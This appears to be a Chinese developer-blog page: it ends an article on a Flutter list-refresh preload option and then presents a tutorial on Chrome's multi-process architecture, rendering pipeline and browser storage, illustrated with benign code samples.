  // 其他配置...
  child: MaterialApp(
    home: YourHomePage(),
  ),
)

优先级

SmartRefresherenableSmartPreload 参数会覆盖全局配置,这样可以实现更精细的控制:

// 全局配置为 false
RefreshConfiguration(
  enableSmartPreload: false,
  // 其他配置...
  child: Scaffold(
    body: SmartRefresher(
      // 局部覆盖为 true
      enableSmartPreload: true,
      // 其他参数...
    ),
  ),
)

三、设计思路分析

为什么需要智能预加载?

  1. 提升用户体验:传统的上拉加载需要用户滚动到底部才能触发,这会导致用户在滚动到底部后需要等待数据加载,体验不够流畅。

  2. 减少等待时间:智能预加载可以在用户滚动过程中就开始加载数据,当用户到达底部时,数据已经加载完成,实现无缝衔接。

  3. 自适应触发点:基于上一次加载高度的一半来计算预加载触发点,这样可以适应不同数据量的场景,避免固定触发点的局限性。

代码实现细节

  1. 添加属性:在 SmartRefresher 类中添加 enableSmartPreload 属性:
/// 是否启用智能预加载(基于上一次加载高度的一半进行预加载)
final bool? enableSmartPreload;

  1. 更新构造函数:在构造函数中添加该参数:
const SmartRefresher(
    {super.key,
    required this.controller,
    this.child,
    this.header,
    this.footer,
    this.enablePullDown = true,
    this.enablePullUp = false,
    this.onRefresh,
    this.onLoading,
    this.dragStartBehavior,
    this.primary,
    this.cacheExtent,
    this.semanticChildCount,
    this.reverse,
    this.physics,
    this.scrollDirection,
    this.scrollController,
    this.enableSmartPreload})
    : builder = null;
  1. 使用逻辑:在 _checkIfCanLoading 方法中使用该值:
final bool enableSmartPreload = refresher?.enableSmartPreload ?? configuration!.enableSmartPreload;
if (enableSmartPreload &&
    lastLoadedHeight > 0 &&
    _position!.maxScrollExtent - _position!.pixels < (lastLoadedHeight * 0.5) &&
    _enableLoading) {
  return true;
}

四、总结

enableSmartPreload 是一个提升列表加载体验的实用特性,通过在用户滚动过程中提前触发加载,减少了用户等待时间,使列表滚动更加流畅。它的设计考虑了灵活性和向后兼容性,既可以全局配置,也可以在单个实例中覆盖,适应不同的应用场景。

作为开发者,我们应该根据具体的业务场景和用户需求,合理使用这个特性,在提升用户体验的同时,避免不必要的资源消耗。

希望这篇文章对你理解和使用 enableSmartPreload 有所帮助!如果你有任何问题或建议,欢迎在评论区交流。

浏览器前端指南

作者 二二四一
2026年3月2日 13:31

一、👑多进程架构

进程分类

想象一下:如果整个浏览器就是一个进程...

❌ 一个页面卡死 → 所有页面全崩
❌ 一个插件崩溃 → 整个浏览器GG
❌ 一个恶意脚本 → 可以访问你的系统文件

Chrome的解决方案是:每个页面都是独立的进程!

核心进程全家桶:

进程类型 负责什么 挂了的影响
浏览器主进程 界面显示、地址栏、书签、进程管理 ❌ 浏览器凉凉
渲染进程 HTML解析、CSS渲染、JS执行 ✅ 只影响当前Tab
GPU进程 3D绘制、硬件加速 ✅ 页面变卡,不崩
网络进程 资源加载、网络请求 ✅ 没法上网,其他OK
插件进程 Flash、PDF等 ✅ 插件崩溃,页面还在
存储进程 Cookie、缓存、书签等存储管理 ⚠️ 存储功能异常

高级视角:最新Chrome正在向"面向服务"架构演进,把网络、GPU等功能拆成独立的服务。这样做的好处是——未来在Chrome OS上,这些服务可以直接和操作系统深度集成!这就是架构的弹性💪

进程通信管道-IPC

不同进程之间如何协作?答案是IPC(Inter-Process Communication)

【发送方】                    【接收方】
  进程A                         进程B
    │                            ↑
    │  ① 打包数据                 │
    │  (序列化)                   │
    │                            │
    │  ② 交给操作系统             │
    ├─────────────────────────────┤
    │  ③ 操作系统转发              │
    │  (内核空间)                  │
    │                            │
    │  ④ 接收方取件               │
    ↓                            │
  进程A                         进程B
    (等待)                      (处理数据)

当你在地址栏输入一个URL时:

  1. 浏览器进程收到输入,通知网络进程去加载资源
  2. 网络进程下载数据后,通过IPC传给渲染进程
  3. 渲染进程解析渲染,通过IPC通知GPU进程加速绘制
  4. GPU进程把最终画面合成,显示在屏幕上

这种通信机制确保了各个进程既能协作,又保持隔离。

IPC同样会存在性能消耗,这也是多进程架构的缺点之一:

// 在同一进程内调用
function add(a, b) {
  return a + b;
}
add(1, 2); // 纳秒级

// 跨进程调用(IPC)
IPC.send({
  to: 'other-process',
  type: 'ADD',
  payload: { a: 1, b: 2 }
});
// 微秒甚至毫秒级(慢1000倍!)

为什么慢?

  1. 序列化/反序列化:对象 ↔ 二进制
  2. 系统调用:用户态 ↔ 内核态切换
  3. 数据拷贝:从一个进程的内存拷到另一个
  4. 等待调度:接收方可能正忙

针对性能问题谷歌优化策略:

  1. 批量发送:多个小消息合并成大消息
  2. 共享内存:大数据用共享内存,IPC只传递指针
  3. 减少IPC次数:能在一个进程做的事,就别跨进程

二、🧭从输入URL到页面展示的完整流程

第一层(宏观):多进程协作

浏览器进程处理输入 → 网络进程发起请求 → 渲染进程解析渲染 → GPU进程合成显示

第二层(微观):导航流程

1. 用户输入 → 2. 开始导航 → 3. 响应处理 → 4. 分配渲染进程 
→ 5. 提交导航 → 6. 确认提交 → 7. 更新界面

想象你在用高德地图:

  1. 你输入目的地 → 对应输入URL
  2. App规划路线、开始导航 → 对应浏览器开始导航
  3. 到达目的地 → 对应页面加载完成

所以"导航"就是:从你敲下回车,到页面开始渲染之间的所有步骤

导航的完整流程如下所示:

1️⃣用户输入

你在地址栏输入 www.baidu.com 并回车

浏览器会想:这是搜索关键词还是网址?

2️⃣开始导航

  • 浏览器进程通知网络进程:"嘿,去下载这个页面!"

3️⃣读取响应

网络进程收到服务器的响应头,看看返回的是什么:

  • HTML文件 → 继续
  • PDF文件 → 准备用PDF阅读器
  • 下载链接 → 直接下载

4️⃣寻找渲染进程

浏览器进程问自己:"这个页面应该让谁来渲染?"

  • 如果是新页面 → 创建新的渲染进程
  • 如果是同网站跳转 → 可能复用旧的渲染进程(节省内存)

5️⃣提交导航

  • 浏览器进程告诉渲染进程:"准备接手,数据马上传给你!"
  • 然后通过IPC(进程间通信)把数据流传给渲染进程

6️⃣确认提交

  • 渲染进程开始接收HTML数据,同时告诉浏览器进程:"收到,我开始渲染了!"

7️⃣更新界面

浏览器进程更新:

  • 地址栏变成绿色🔒(如果是HTTPS)
  • 前进/后退按钮亮起来
  • 标签页上的加载动画停止

🔄 导航 vs 渲染 的区别

很多人搞混这两个概念:

【导航流程】                【渲染流程】
输入网址  →  请求资源  →  解析HTML  →  构建DOM树  →  布局  →  绘制
   ↑              ↑            ↑
   └──────导航结束──────┘
   这时页面还是空白!       这时才开始看到内容
  • 导航结束时,页面还是空白的(因为还没开始渲染)
  • 等渲染完成,你才能看到内容。

第三层(渲染):渲染流水线

【解析HTML】→【样式计算】→【布局】→【分层】→【绘制】→【合成】
    ↓            ↓        ↓       ↓      ↓       ↓
  DOM树        样式树    布局树   图层树  绘制指令 最终画面

三、🌍渲染进程:从字节到像素的奇幻旅程

渲染进程是前端代码的直接运行环境,它的内部是多线程架构:

┌─────────────────────────────────────────────────┐
│                   渲染进程                         │
├─────────────────────────────────────────────────┤
│  【主线程】              【合成器线程】              │
│  • GUI渲染线程           • 图层合成                 │
│  • JS引擎线程(V8)        • 滚动处理                 │
│  • 事件处理              • 帧生成                    │
├─────────────────────────────────────────────────┤
│  【工作线程】              【其他线程】              │
│  • Web Worker           • 定时器触发线程            │
│  • Service Worker       • 异步HTTP请求线程          │
└─────────────────────────────────────────────────┘

核心机制:为什么JS会卡住页面?🤔

最重要的一点:GUI渲染线程和JS引擎线程是互斥的!

// 假设没有互斥
document.body.style.backgroundColor = 'red'; // JS修改DOM
// 如果此时渲染线程同时在绘制 → 画面撕裂!

这就是为什么耗时的JS任务会导致页面卡顿——JS长时间占用主线程,渲染无法进行。

长任务(Long Task)超过50ms,用户就能感知到卡顿!

渲染定义

渲染 = 浏览器把 HTML/CSS/JS 转换成 屏幕上的像素 的过程

整个过程分为6个核心阶段

【解析HTML】→【样式计算】→【布局】→【分层】→【绘制】→【合成】
    ↓            ↓        ↓       ↓      ↓       ↓
  DOM树        样式树    布局树   图层树  绘制指令 最终画面

每个阶段都是下一个阶段的输入,像工厂流水线一样 🏭

六大阶段

📦 第一阶段:解析HTML(Parser)

1. 字节 → DOM树

当你请求一个HTML文件,浏览器拿到的是二进制字节流

字节: 3C 62 6F 64 79 3E 3C 64 69 76 3E ...
  ↓
字符: <body><div>Hello</div></body>
  ↓
令牌: StartTag:body, StartTag:div, Text:Hello, EndTag:div, EndTag:body
  ↓
节点: body元素, div元素, 文本节点
  ↓
DOM树: 
      htmlbodydiv
       │
    "Hello"

2. 关键机制:预加载扫描器

HTML解析器不是单线程工作的!

<!-- 浏览器解析到这里时 -->
<link rel="stylesheet" href="style.css">
<img src="image.jpg">

<!-- 预加载扫描器已经提前发现了这两个资源 -->
<!-- 不等主解析器处理,直接开始下载 -->

预加载扫描器(Preload Scanner):

  • 主解析器工作的同时,在后台扫描
  • 提前发现<img><link><script>等资源
  • 立即开始下载,节省时间

3. 阻塞机制

<!-- 情况1:普通script -->
<script src="app.js"></script>
<!-- 解析到这里会暂停,下载并执行完app.js才继续 -->

<!-- 情况2:async script -->
<script async src="app.js"></script>
<!-- 下载不阻塞,下载完成后立即执行(可能中断解析)-->

<!-- 情况3:defer script -->
<script defer src="app.js"></script>
<!-- 下载不阻塞,解析完成后才执行 -->

<!-- 情况4:CSS + script -->
<link rel="stylesheet" href="style.css">
<script src="app.js"></script>
<!-- script会等待CSS下载完成!因为JS可能依赖CSS样式 -->

⚡ CSS会阻塞后续JS的执行,但不会阻塞DOM的解析

🎨 第二阶段:样式计算(Style)

1. 从CSS到样式树

浏览器拿到CSS后:

  1. 解析CSS:同样转换成CSSOM树
  2. 匹配选择器:找出每个DOM节点对应的样式
  3. 计算最终样式:处理继承、层叠

2. 选择器匹配的坑

浏览器匹配选择器是从右向左的!

/* 选择器:.container .text */
.container .text { color: red; }

/* 匹配过程(从右向左):
   1. 找到所有 class="text" 的元素
   2. 检查它们的父级是否有 class="container"
   
   这样效率更高!因为符合条件的.text通常比.container少
*/

性能坑点

/* ❌ 不好的写法:太复杂 */
body div.container ul li a.highlight { ... }

/* ✅ 好的写法:尽量简单 */
.highlight { ... }

3. 样式计算的复杂度

一个元素最终样式 = 所有匹配规则 + 继承属性 + 默认样式

/* 多个规则可能匹配同一个元素 */
div { color: blue; }                    /* 1. 标签选择器 */
.container div { color: red; }           /* 2. 后代选择器 */
#main div { color: green; }              /* 3. ID选择器 */

/* 浏览器要计算优先级:
   ID > 类 > 标签
   最终使用绿色
*/

📐 第三阶段:布局(Layout)

1. 计算几何信息

现在我们知道:

  • 每个元素是什么(DOM树)
  • 每个元素长什么样(样式树)

布局阶段要计算

  • 元素在屏幕上的位置(x, y坐标)
  • 元素的尺寸(width, height)

2. 布局对象

布局树和DOM树不是一一对应的

<!-- DOM树中有这个元素 -->
<div style="display: none;">隐藏的内容</div>
<!-- 布局树中没有!因为不占位置 -->

<!-- DOM树中是一个元素 -->
<p>Hello <span>World</span></p>
<!-- 布局树中可能分成多个布局对象(因为文本流)-->

3. 全局布局 vs 局部布局

触发全局布局(代价最高):

  • 修改窗口大小
  • 修改font-family
  • 添加/删除整个DOM树

触发局部布局(代价较低):

  • 修改单个元素的padding
  • 修改单个元素的border

4. 强制同步布局的坑

// ❌ 不好的写法:反复强制布局
div.style.width = '100px';
const width1 = div.offsetWidth;  // 1. 强制布局!

div.style.height = '200px';
const height1 = div.offsetHeight; // 2. 又强制布局!

div.style.margin = '10px';
const width2 = div.offsetWidth;  // 3. 再次强制布局!

// ✅ 好的写法:读写分离
div.style.width = '100px';
div.style.height = '200px';
div.style.margin = '10px';

// 统一读取
const { width, height } = div.getBoundingClientRect();

浏览器的困境

  • 小本本上记着"width要改成100px"
  • 但还没真正应用(因为想等批量执行)
  • 可现在JS代码立刻就要最新的宽度!

浏览器只能

  1. 暂停优化
  2. 立即清空渲染队列(把所有修改应用到页面上)
  3. 重新计算布局
  4. 返回最新的准确值

这就是"强制同步布局"(Forced Synchronous Layout)!

🧩 第四阶段:分层(Layer)

1. 为什么需要分层?

想象一下用Photoshop:

  • 背景是一个图层
  • 人物是一个图层
  • 文字是一个图层

修改人物时,只需要重绘人物图层,背景和文字不变!

浏览器也是同理:

/* 这个元素会独立成层吗? */
.animated {
  transform: translateX(100px);  /* 会!transform动画需要独立层 */
  opacity: 0.5;                   /* 会!透明度变化也需要独立层 */
}

2. 什么情况会创建新层?

自动创建

  • 3D变换:transform: translate3d()
  • will-change属性
  • <video><canvas><iframe>
  • 有重叠元素的复杂场景

手动提示

.element {
  will-change: transform, opacity;
  /* 告诉浏览器:我要变了,提前给我单独一层 */
}

3. 层爆炸(Layer Explosion)

滥用will-change的后果

/* ❌ 危险!给所有元素都加 */
* {
  will-change: transform;
}
/* 每个元素都独立成层 → 内存飙升 → 页面卡死 */

层的成本

  • 每个层占用内存(几百KB到几MB)
  • 合成器要管理所有层
  • GPU要处理所有层

🖌️ 第五阶段:绘制(Paint)

1. 绘制指令

分层完成后,每个层都有自己的绘制指令:

【图层:导航栏】
1. 绘制背景:矩形(0,0,800,60) 颜色#333
2. 绘制Logo:图片(20,10,100,40)
3. 绘制文字:"首页" (120,25) 字体16px 白色

【图层:内容区】
1. 绘制背景:矩形(0,60,800,540) 颜色#fff
2. 绘制段落:(50,100) 文字内容...

这些指令不是像素,而是绘图操作

2. 绘制顺序

绘制遵循"先背景后前景"的顺序:

  1. 背景颜色
  2. 背景图片
  3. 边框
  4. 内容(文字、子元素)
  5. 轮廓(outline)

3. 重绘(Repaint)

当修改不影响布局的属性时触发:

  • color
  • background-color
  • box-shadow
  • outline

重绘不需要重新布局,但仍然要重新生成绘制指令

🎬 第六阶段:合成(Composite)

1. 合成器线程

关键点:合成器线程是独立于主线程的!

【主线程】                【合成器线程】
  ↓                            ↓
布局、绘制 ←─────IPC──────→ 图层合成
  ↓                            ↓
JS执行                       滚动处理
  ↓                            ↓
...                          帧生成

2. 合成过程

  1. 接收图层:拿到所有图层的绘制指令
  2. 分块:把大图层切成小图块(tiles)
  3. 光栅化:把图块转换成位图(像素)
  4. 合成:把所有图层组合成最终画面
  5. 送显:通过GPU显示在屏幕上

3. 合成器动画的秘密

为什么transform动画这么流畅?

/* ❌ 普通动画 */
@keyframes move-left {
  from { left: 0; }
  to { left: 100px; }
}

/* 每一帧:布局 → 绘制 → 合成 → 占用主线程 → 可能卡顿 */
/* ✅ 合成器动画 */
@keyframes move-transform {
  from { transform: translateX(0); }
  to { transform: translateX(100px); }
}

/* 每一帧:只触发射合 → 不占用主线程 → GPU加速 → 流畅! */

三种更新方式

  1. 全量更新(最慢)
JS修改 → 布局 → 绘制 → 合成

2. 部分更新(中等)

JS修改 → 绘制 → 合成
(不触发布局,如改颜色)

3. 合成更新(最快)

JS修改 → 合成
(只改transform/opacity

渲染优化

阶段 优化目标 具体策略
解析 减少阻塞 使用async/defer、内联关键CSS、预加载关键资源
样式 减少计算 避免复杂选择器、减少DOM变化、使用CSS containment
布局 减少触发 读写分离、使用transform代替位置属性、避免强制同步布局
分层 合理分层 只在必要时用will-change、避免层爆炸
绘制 减少绘制 使用transform/opacity做动画、减少绘制区域
合成 利用GPU 开启硬件加速、减少合成层数量

如何确定一个动画是合成器动画?

在DevTools中:

  1. 打开Performance面板
  2. 录制动画
  3. 看Main线程是否有布局/绘制事件
  4. 如果没有,就是合成器动画

渲染过程中有哪些"阻塞"?

  • 解析阻塞:普通script
  • 渲染阻塞:CSS(因为CSSOM未构建完成前不会渲染)
  • 执行阻塞:JS执行时,渲染挂起

四、📦缓存进程:Chrome里的"仓库管理员"

在Chrome的多进程架构中,有一个专门负责存储管理的进程,叫做缓存进程(Storage Service)存储服务进程

┌─────────────────────────────────────────────────────┐
│                    浏览器进程                         │
│  (界面管理、进程调度)                                 │
└──────────────────┬──────────────────────────────────┘
                    │ IPC通信
    ┌───────────────┼───────────────┐
    ↓               ↓               ↓
┌───────────┐  ┌───────────┐  ┌───────────┐
│渲染进程组  │  │ 网络进程  │  │ 缓存进程  │ ← 我们今天的主角!
└───────────┘  └───────────┘  └───────────┘
                                    │
                    ┌───────────────┼───────────────┐
                    ↓               ↓               ↓
                ┌───────┐      ┌───────┐      ┌───────┐
                │ HTTP  │      │ Cookie│      │Indexed│
                │ 缓存  │      │       │      │  DB   │
                └───────┘      └───────┘      └───────┘

缓存进程是从浏览器主进程中分离出来的独立服务。这样做的好处是:

  • 职责单一:专注管理所有存储相关任务
  • 稳定性:即使缓存进程出问题,也不影响浏览器主进程
  • 安全性:存储数据与其他进程隔离

存储分类

缓存进程不是只管一个仓库,而是管理多种类型的存储:

1️⃣ HTTP缓存(最重要的仓库)

HTTP缓存又分为两种:

缓存类型 存储位置 特点 生命周期
内存缓存 RAM(内存) 读取最快,容量有限 浏览器关闭后消失
磁盘缓存 硬盘 容量大,持久化 跨会话保留

在DevTools中看到的就是

  • 200 OK (from memory cache) → 从内存缓存读取
  • 200 OK (from disk cache) → 从磁盘缓存读取

存储位置主要考虑以下因素:

  1. 资源大小

    • 小文件(如图标、小脚本)→ 倾向内存缓存
    • 大文件(如视频、大图)→ 倾向磁盘缓存
  2. 访问频率

    • 频繁访问的资源 → 可能提升到内存缓存
    • 一次性资源 → 直接磁盘或丢弃
  3. 资源类型

    • 脚本、样式、字体 → 可能内存缓存
    • HTML文档、大图片 → 磁盘缓存
  4. 内存压力

    • 系统内存充足 → 多放内存
    • 内存紧张 → 尽量放磁盘

2️⃣ Blink缓存(渲染引擎的私有仓库)

这是Blink渲染引擎内部的缓存,主要用于:

  • 解析后的CSSOM树
  • 解析后的DOM树片段
  • 图片解码后的数据

特点:页面级别缓存,生命周期短,主要用于加速同页面内的重复访问。

3️⃣ 其他存储(Cookie、LocalStorage、IndexedDB)

🍪 1. Cookie - 浏览器存储的"老前辈"

Cookie是1994年诞生的老技术,最初是为了解决"HTTP无状态"的问题——服务器怎么知道请求来自同一个用户?

HTTP请求本来是这样的:
GET /index.html
→ 服务器不认识你是谁

有了Cookie:
GET /index.html
Cookie: sessionId=abc123
→ 服务器一看:哦,是老用户abc123啊!

Cookie的存储机制:

  • 存储位置:硬盘(持久化存储)
  • 存储格式:键值对文本
name=zhangsan; age=25; sessionId=abc123

大小限制

  • 单个Cookie大小 ≤ 4KB
  • 每个域名下Cookie数量 ≤ 20个(不同浏览器略有差异)
  • 总大小 ≤ 4KB × 20 = 80KB

Cookie的构成要素

一个完整的Cookie包含:

Set-Cookie: sessionId=abc123; 
            expires=Wed, 21 Oct 2025 07:28:00 GMT;  # 过期时间
            path=/;                                   # 作用路径
            domain=.example.com;                      # 作用域名
            Secure;                                   # 仅HTTPS发送
            HttpOnly;                                 # 禁止JS访问
            SameSite=Lax                              # 跨站策略

Cookie的生命周期

类型 设置方式 存储位置 清除时机
会话Cookie 不设置expires/max-age 内存 关闭浏览器
持久化Cookie 设置expires/max-age 硬盘 到达过期时间

Cookie的发送机制

每次HTTP请求,浏览器都会自动携带符合条件的Cookie:

// 你啥也不用做,浏览器自动处理
fetch('https://api.example.com/user')
// 请求头自动带上:
// Cookie: sessionId=abc123; name=zhangsan

性能坑点:Cookie会随着每个请求发送(包括图片、CSS等静态资源)!

<!-- 每个请求都会带上Cookie,增加流量开销 -->
<img src="image.jpg">  <!-- 请求头也有Cookie -->
<link rel="stylesheet" href="style.css">  <!-- 也有Cookie -->

Cookie的安全属性

属性 作用 示例
Secure 仅HTTPS发送 Secure
HttpOnly 禁止JS访问(防XSS) HttpOnly
SameSite 控制跨站发送 SameSite=Strict/Lax/None
Domain 限制域名 Domain=example.com
Path 限制路径 Path=/api

前端操作Cookie

// 设置
document.cookie = "name=zhangsan; path=/; max-age=3600";

// 读取(返回所有Cookie字符串)
console.log(document.cookie); // "name=zhangsan; age=25"

// 删除(设置过期时间为过去)
document.cookie = "name=; expires=Thu, 01 Jan 1970 00:00:00 GMT";

坑点document.cookie API非常原始,只能一次性操作所有Cookie!

📦 LocalStorage - 简单好用的"大仓库"

HTML5时代推出的新存储方案,专门解决Cookie存储空间小、携带流量的问题。

  • 存储位置:硬盘(持久化)
  • 大小限制5-10MB(每个域名)

特点

  • ✅ 数据永久保存,除非手动清除
  • ✅ 不随HTTP请求发送
  • ✅ API简单易用
  • ❌ 只能存字符串
  • ❌ 同步操作,可能阻塞主线程
// 增/改
localStorage.setItem('name', 'zhangsan');
localStorage.setItem('age', '25');  // 注意:只能是字符串!

// 查
const name = localStorage.getItem('name'); // "zhangsan"

// 删单个
localStorage.removeItem('name');

// 清空所有
localStorage.clear();

// 获取数量
console.log(localStorage.length); // 1

// 遍历
for (let i = 0; i < localStorage.length; i++) {
  const key = localStorage.key(i);
  const value = localStorage.getItem(key);
  console.log(`${key}: ${value}`);
}

存储复杂数据

// ❌ 直接存对象
localStorage.setItem('user', { name: 'zhangsan' }); 
// 变成 "[object Object]"!

// ✅ 需要序列化
const user = { name: 'zhangsan', age: 25 };
localStorage.setItem('user', JSON.stringify(user));

// 读取时反序列化
const userStr = localStorage.getItem('user');
const userObj = JSON.parse(userStr); // { name: 'zhangsan', age: 25 }

同步操作的坑

// LocalStorage是同步的!
localStorage.setItem('bigData', hugeString); // 如果数据很大,会卡住主线程

console.log('这行要等上面存完才执行'); // 阻塞!

性能坑点:存储大对象(几百KB以上)时,可能导致页面卡顿!

事件监听

LocalStorage还提供了storage事件,可以在其他标签页监听变化:

// 页面A
localStorage.setItem('theme', 'dark');

// 页面B(同一个域名下)
window.addEventListener('storage', (event) => {
  console.log('key:', event.key);      // "theme"
  console.log('oldValue:', event.oldValue); // "light"
  console.log('newValue:', event.newValue); // "dark"
  console.log('url:', event.url);       // 哪个页面改的
});

注意:只有其他标签页会触发,修改自己的页面不会触发!

🗄️ IndexedDB - 浏览器里的"数据库"

IndexedDB是浏览器提供的NoSQL数据库,可以存储大量结构化数据。

  • 存储位置:硬盘
  • 大小限制通常 ≥ 250MB(取决于硬盘空间,可请求用户授权增加)

特点

  • ✅ 存储容量大(几百MB甚至GB级)
  • ✅ 支持索引和事务
  • ✅ 异步操作(不阻塞主线程)
  • ✅ 支持存储Blob、File等二进制数据
  • ❌ API复杂(但可以用库简化)
  • ❌ 学习成本高
概念 类比SQL 说明
数据库 Database 整个应用一个库
对象仓库 Table 存同一类数据的集合
索引 Index 加速查询
事务 Transaction 保证数据一致性
游标 Cursor 遍历数据
// 1. 打开数据库
const request = indexedDB.open('MyAppDB', 1); // 版本号1

// 2. 首次创建或版本升级时触发
request.onupgradeneeded = (event) => {
  const db = event.target.result;
  
  // 创建对象仓库(类似表)
  const userStore = db.createObjectStore('users', { 
    keyPath: 'id',        // 主键
    autoIncrement: true   // 自增
  });
  
  // 创建索引(加速查询)
  userStore.createIndex('nameIdx', 'name', { unique: false });
  userStore.createIndex('emailIdx', 'email', { unique: true });
};

// 3. 成功打开
request.onsuccess = (event) => {
  const db = event.target.result;
  
  // 增:添加数据
  const transaction = db.transaction(['users'], 'readwrite');
  const store = transaction.objectStore('users');
  
  store.add({
    name: '张三',
    email: 'zhangsan@example.com',
    age: 25
  });
  
  // 查:通过索引查询
  const index = store.index('nameIdx');
  const getRequest = index.get('张三');
  
  getRequest.onsuccess = (e) => {
    console.log('找到用户:', e.target.result);
  };
  
  // 事务完成
  transaction.oncomplete = () => {
    console.log('事务完成');
    db.close();
  };
};

// 4. 错误处理
request.onerror = (event) => {
  console.error('数据库打开失败:', event.target.error);
};

使用游标遍历

const transaction = db.transaction(['users'], 'readonly');
const store = transaction.objectStore('users');
const cursorRequest = store.openCursor();

cursorRequest.onsuccess = (event) => {
  const cursor = event.target.result;
  
  if (cursor) {
    console.log('当前记录:', cursor.value);
    cursor.continue(); // 继续下一条
  } else {
    console.log('遍历完成');
  }
};

原生IndexedDB API太复杂,实际项目中常用封装库:

Dexie.js(推荐)

import Dexie from 'dexie';

const db = new Dexie('MyAppDB');
db.version(1).stores({
  users: '++id, name, email, age' // ++id表示自增主键
});

// 增
await db.users.add({ name: '张三', email: 'zs@example.com', age: 25 });

// 查
const users = await db.users.where('age').above(18).toArray();

// 改
await db.users.update(1, { age: 26 });

// 删
await db.users.delete(1);

localForage(更轻量)

import localForage from 'localforage';

localForage.setItem('user', { name: '张三' });
const user = await localForage.getItem('user');

核心参数对比

特性 Cookie LocalStorage IndexedDB
容量 ~4KB ~5-10MB ≥250MB (可更大)
存储位置 硬盘 硬盘 硬盘
数据类型 字符串 字符串 结构化数据、二进制
操作 同步 同步 异步
API复杂度 简单 非常简单 复杂
作用域 指定路径/域名 同源 同源
发送到服务器 ✅ 自动发送
过期时间 ✅ 可设置 ❌ 永久 ❌ 永久
事务支持
索引支持
搜索能力 支持范围查询

性能对比

// Cookie:每次请求都带上
// 100KB Cookie × 100个请求 = 10MB流量浪费!

// LocalStorage:同步操作
console.time('localStorage');
localStorage.setItem('key', 'value'); 
console.timeEnd('localStorage'); // ~0.1ms(但大数据会卡)

// IndexedDB:异步操作
console.time('indexedDB');
await db.users.add({ name: '张三' });
console.timeEnd('indexedDB'); // ~1ms(不阻塞主线程)

安全对比

存储方式 XSS风险 CSRF风险 建议
Cookie HttpOnly可防 有风险 存sessionId,加SameSite
LocalStorage 高(JS可直接读) 不存敏感信息
IndexedDB 高(JS可直接读) 不存敏感信息

敏感信息:token、密码、身份证号等 → 都不要存!要用HttpOnly Cookie

Cookie的最佳实践

// ✅ 适合的场景:身份认证
document.cookie = "sessionId=abc123; path=/; Secure; HttpOnly; SameSite=Lax";

// ❌ 不适合:存用户资料、偏好设置
document.cookie = "theme=dark"; // 浪费流量,应该用LocalStorage

优化技巧

  • 静态资源域名和API域名分开(避免携带Cookie)
  • 设置合适的过期时间
  • 敏感信息必须加HttpOnly

LocalStorage的最佳实践

// ✅ 适合的场景
localStorage.setItem('theme', 'dark');           // 主题偏好
localStorage.setItem('userSettings', JSON.stringify(settings)); // 用户设置
localStorage.setItem('cartItems', JSON.stringify(cart)); // 购物车(小数据)

// ❌ 不适合
localStorage.setItem('products', JSON.stringify(products)); // 几千条商品数据 → 用IndexedDB
localStorage.setItem('accessToken', token); // 敏感信息 → 用Cookie(HttpOnly)

优化技巧

  • 封装读写逻辑,自动序列化/反序列化
  • 大数据考虑压缩
  • 监听storage事件实现多标签同步

IndexedDB的最佳实践

// ✅ 适合的场景
// 1. 离线应用数据
const offlinePosts = await fetch('/api/posts');
await db.posts.bulkAdd(offlinePosts);

// 2. 大文件缓存
const response = await fetch('/videos/big.mp4');
const blob = await response.blob();
await db.videos.add({ id: 'big.mp4', data: blob });

// 3. 用户生成的内容
await db.notes.add({
  title: '我的笔记',
  content: '...',
  attachments: fileBlob,
  createdAt: new Date()
});

优化技巧

  • 合理创建索引,加速查询
  • 使用事务保证数据一致性
  • 及时关闭数据库连接
  • 考虑使用Dexie.js等库简化操作

一句话总结:Cookie用于身份认证,LocalStorage用于简单配置,IndexedDB用于大量结构化数据——三者配合,天下无敌!🚀

缓存进程工作流

当你在浏览器中访问一个页面时,缓存进程是这样工作的:

【用户访问网站 example.com/index.html】

第1步:渲染进程需要这个HTML文件
    ↓
第2步:渲染进程通过IPC问缓存进程:"有index.html的缓存吗?"
    ↓
第3步:缓存进程检查自己的"账本":
    ├─ 内存缓存有吗?→ 有就直接返回
    └─ 内存缓存没有 → 查磁盘缓存
        ├─ 磁盘缓存有且未过期 → 加载返回
        └─ 磁盘缓存没有/已过期 → 告诉渲染进程:"去网络下载吧"
    ↓
第4步:如果需要网络请求,网络进程下载资源后,会交给缓存进程
    ↓
第5步:缓存进程决定:
    ├─ 这个资源适合放内存吗?(小文件、频繁访问)
    └─ 还是放磁盘?(大文件、持久化)
    ↓
第6步:缓存进程更新"账本",下次访问可以直接用

资源请求的完整路径渲染进程 → Blink缓存 → (可能)浏览器进程 → 网络进程 → HTTP缓存(内存/磁盘)

文件存储位置

  1. Windows系统

Chrome的磁盘缓存默认位置:

C:\Users\[你的用户名]\AppData\Local\Google\Chrome\User Data\Default\Cache\

里面是一堆没有扩展名的文件,文件名是哈希值,直接打开是乱码——因为Chrome对缓存文件做了特殊处理。

  1. macOS系统
/var/folders/.../T/UserData/Default/Cache/

3. Linux系统

/tmp/UserData/Default/Cache/

高级技巧:可以通过命令行修改缓存位置(比如移到D盘):

mklink /D "C:\Users\用户名\AppData\Local\Google\Chrome\User Data\Default\Cache" "D:\ChromeCache"

这样可以把缓存移到空间更大的硬盘!

三级缓存原理

【访问流程】
1. 先去内存看 → 有就直接用 (最快)
2. 内存没有 → 去磁盘看 → 有就直接用 (较快)
3. 磁盘也没有 → 发起网络请求 (慢)

【缓存更新流程】
网络请求到的资源 → 先存磁盘 → 可能同时放内存(根据策略)

经典现象(以图片为例):

  1. 第一次访问 → 200 OK(从网络加载)
  2. 关闭浏览器再打开 → 200 OK (from disk cache)(从磁盘加载)
  3. 刷新页面 → 200 OK (from memory cache)(从内存加载)

优化机制

  1. 预加载扫描器配合

还记得之前讲的预加载扫描器吗?它和缓存进程是"好基友":

<!-- 预加载扫描器提前发现资源 -->
<link rel="stylesheet" href="style.css">
<img src="hero-image.jpg">
<script src="app.js"></script>

<!-- 扫描器会: -->
<!-- 1. 提前通知网络进程下载这些资源 -->
<!-- 2. 下载完成后,缓存进程立即存储 -->
<!-- 3. 等主解析器处理到这些标签时,缓存里已经有了! -->
  1. 往返缓存(bfcache)

这是一个特殊的缓存策略,在任务管理器中可能看到"往返缓存版页面":

  • 作用:当用户点击后退/前进按钮时,可以瞬时加载页面
  • 原理:把整个页面(包括JS状态)冻结在内存里
  • 效果:比普通缓存快得多,几乎感觉不到加载

缓存优化

  1. 设置合理的HTTP缓存头
# 强缓存:浏览器直接读缓存,不请求服务器
Cache-Control: max-age=31536000  # 缓存1年

# 协商缓存:每次都要问服务器,但服务器可能返回304
Cache-Control: no-cache
